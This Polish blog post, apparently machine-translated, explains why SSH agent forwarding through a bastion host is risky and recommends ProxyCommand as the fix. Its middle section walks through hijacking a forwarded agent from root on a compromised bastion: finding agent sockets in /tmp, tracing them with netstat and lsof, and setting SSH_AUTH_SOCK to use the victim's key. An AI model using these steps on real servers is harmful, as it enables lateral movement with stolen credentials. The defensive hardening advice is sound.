Widziałem odpowiedź na temat ProxyJump. Porozmawiajmy o ProxyCommand .
Ale czekaj, czekaj! Mogę napisać do ciebie, jak zhakować serwer, który korzysta z przekazywania agentów, znacznie łatwiej byłoby zrozumieć różnicę!
Hakujmy!
Podstawowe kroki: możesz przeczytać mój post tutaj
Podstawowe kroki są następujące:
- Utwórz użytkowników bastionu
- Wyłącz logowanie roota
- Blokuj próby włamania
- Zmień port
- Skonfiguruj zaporę ogniową
- Skonfiguruj SELinux
Jak korzystać z AgentForwarding
-Utwórz config w ~ / .ssh / config
Host bast
Hostname BASTION_IP
ForwardAgent yes
User bastion
-Dodaj swój klucz uwierzytelniający do ssh-agent
ssh-add ~/.ssh/name_rsa
-Połącz się z bastionem
ssh bast
-Podłącz serwer aplikacji od bastionu
ssh app@IP -p PORT
Hakerstwo!
Możesz zadać mi pytanie:
Jak zhakować serwery, jeśli zaatakowałeś hosta bastionu?
Śledź cel
W katalogu / tmp możesz zobaczyć coś takiego:
[root@localhost tmp]# ll
total 12
drwx------ 2 bastion bastion 4096 Sep 7 17:35 ssh-mKX88v0Vlo
Otwórzmy plik tymczasowy
[root@localhost tmp]# cd ssh-mKX88v0Vlo/
[root@localhost ssh-mKX88v0Vlo]# ll
total 0
srwxr-xr-x 1 bastion bastion 0 Sep 7 17:35 agent.10507
Zobaczmy połączenia z tym identyfikatorem procesu.
netstat -nxp | grep 10507
wynik:
unix [ ] STREAM CONNECTED 501384 10507/sshd: bastion
i kto jest połączony?
lsof -i -a -p 10507
wynik:
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
sshd 10507 bastion 3u IPv4 501301 0t0 TCP *IP*:ssh->*IP*:8279 (ESTABLISHED)
Możemy również zobaczyć pliki gniazd:
cd /proc/10507/fd/
ls
wynik:
lrwx------ 1 root root 64 Sep 7 17:46 0 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 1 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 10 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 14 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 15 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 2 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 3 -> socket:[501994]
lrwx------ 1 root root 64 Sep 7 17:46 4 -> socket:[502069]
lrwx------ 1 root root 64 Sep 7 17:46 5 -> socket:[502072]
l-wx------ 1 root root 64 Sep 7 17:46 6 -> /run/systemd/sessions/1836.ref
lr-x------ 1 root root 64 Sep 7 17:46 7 -> pipe:[502079]
l-wx------ 1 root root 64 Sep 7 17:46 8 -> pipe:[502079]
lrwx------ 1 root root 64 Sep 7 17:46 9 -> socket:[502080]
A co się stanie, gdy klient zostanie podłączony do zdalnego serwera? Zobaczmy:
lrwx------ 1 root root 64 Sep 7 17:46 0 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 1 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 10 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:48 11 -> socket:[502267]
lrwx------ 1 root root 64 Sep 7 17:46 14 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 15 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 2 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 3 -> socket:[501994]
lrwx------ 1 root root 64 Sep 7 17:46 4 -> socket:[502069]
lrwx------ 1 root root 64 Sep 7 17:46 5 -> socket:[502072]
l-wx------ 1 root root 64 Sep 7 17:46 6 -> /run/systemd/sessions/1836.ref
lr-x------ 1 root root 64 Sep 7 17:46 7 -> pipe:[502079]
l-wx------ 1 root root 64 Sep 7 17:46 8 -> pipe:[502079]
lrwx------ 1 root root 64 Sep 7 17:46 9 -> socket:[502080]
Możemy nawet sprawdzić, czy plik gniazda jest używany przy użyciu netstat:
unix 3 [ ] STREAM CONNECTED 502267 10561/sshd:
bastion /tmp/ssh-oVoMXC6vb8/agent.10561
unix 3 [ ] STREAM CONNECTED 502072 10561/sshd: bastion
Kradzież informacji o gnieździe i adres IP
Teraz musimy ukraść informacje o gnieździe, gdy sesja hosta bastionu jest otwarta . Och, potrzebujemy również adresu IP serwera docelowego , więc po prostu użyj netstat:
netstat -tn
Końcowy etap użyć przekierowanego pliku gniazda
eval "$(ssh-agent -s)"
SSH_AUTH_SOCK=/tmp/ssh-EAKxOdL4fl/agent.10507
Sprawdź, czy klucz jest załadowany .
ssh-add -l
wynikiem powinno być coś takiego :
2048 SHA256:2Psdl..B5KQ /home/usr/.ssh/name_rsa (RSA)
Serwer został zhakowany, jak rozwiązać problem bezpieczeństwa?
Polecenie proxy
Host app
Hostname *.*.*.*
IdentityFile ~/.ssh/your_rsa
User *******
Port ****
ProxyCommand ssh -W %h:%p bast
Host bast
Hostname *.*.*.*
ForwardAgent no
User ******
Podstawowe operacje: jak przesyłać pliki przez serwery (z klienta na serwer, z serwera na klienta), możesz przeczytać w moim poście tutaj
Wniosek
- Jeśli korzystasz z hosta bastionu, nie używaj AgentForwarding, ale użyj ProxyCommand
- Zawsze używaj użytkownika innego niż root do uwierzytelniania
- Użyj zapory i zablokuj wszystkie niepotrzebne połączenia.
- Użyj SELinux (ogólnie)
- Zablokuj adres IP, który próbuje zalogować się kilka razy przy użyciu nieprawidłowych danych logowania
- Jeśli nie jest to konieczne, nie udzielaj sudo użytkownikowi
- Monitoruj swój serwer
- Zaktualizuj serwer, aby uzyskać poprawki bezpieczeństwa
Więcej informacji znajdziesz na moim blogu . Dodatkowo mam kilka zrzutów ekranu, więc może ci się przydać.